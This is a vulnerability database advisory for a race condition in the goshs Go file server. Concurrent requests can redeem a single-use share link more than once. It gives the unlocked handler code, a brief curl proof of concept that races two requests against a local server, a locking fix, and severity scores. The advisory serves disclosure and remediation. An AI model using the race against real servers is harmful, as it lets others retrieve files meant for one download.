Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-50139
Published:July 02, 2026
Updated:July 05, 2026
Share-link "?token=…" redemption races past download limit Ecosystem: Go Package: "goshs.de/goshs/v2" ("github.com/patrickhener/goshs") Affected: "<= v2.0.9" (every release that shipped the share-link feature) Summary "ShareHandler" reads the share token's "DownloadLimit" under "RLock", releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same "Downloaded"/"DownloadLimit" snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Details ""httpserver/handler.go:968-1018"" (https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018): fs.sharedLinksMu.RLock() entry, ok := fs.SharedLinks[token] fs.sharedLinksMu.RUnlock() // <-- released here if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { // ...serve file... // <-- whole transfer happens unlocked } fs.sharedLinksMu.Lock() // <-- re-acquired only now current.Downloaded++ if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) } fs.sharedLinksMu.Unlock() Between line 978 ("RUnlock") and line 1008 ("Lock"), any number of goroutines can interleave and each observes the same pre-increment limit. Proof of concept goshs -p 18000 -d /tmp/r -b admin:pw & echo data > /tmp/r/f.txt operator issues a one-shot share SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") TK=$(echo "$SHARE" | sed -n 's/.token=([^"])".*/\1/p') attacker races two redemptions curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & wait observed: 200 / 200 (both succeed) -> limit=1 redeemed twice Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification. Impact A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window. Suggested fix Reserve under the write lock before serving — refund only if the serve fails: fs.sharedLinksMu.Lock() entry, ok := fs.SharedLinks[token] if !ok || time.Now().After(entry.Expires) || (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return } entry.Downloaded++ if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { delete(fs.SharedLinks, token) } else { fs.SharedLinks[token] = entry } fs.sharedLinksMu.Unlock() // ...serve... Add a regression test that races two requests against a "limit=1" token and asserts exactly one "200". Reporter: Nishant Verma. Reproduced against "goshs v2.0.9" (commit "8fc1e91") on 2026-05-27.
Affected Packages
goshs.de/goshs/v2 (GO):
Affected version(s) >=v2.0.1 <v2.1.0
Fix Suggestion:
Update to version v2.1.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.2
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.9
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
HIGH
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')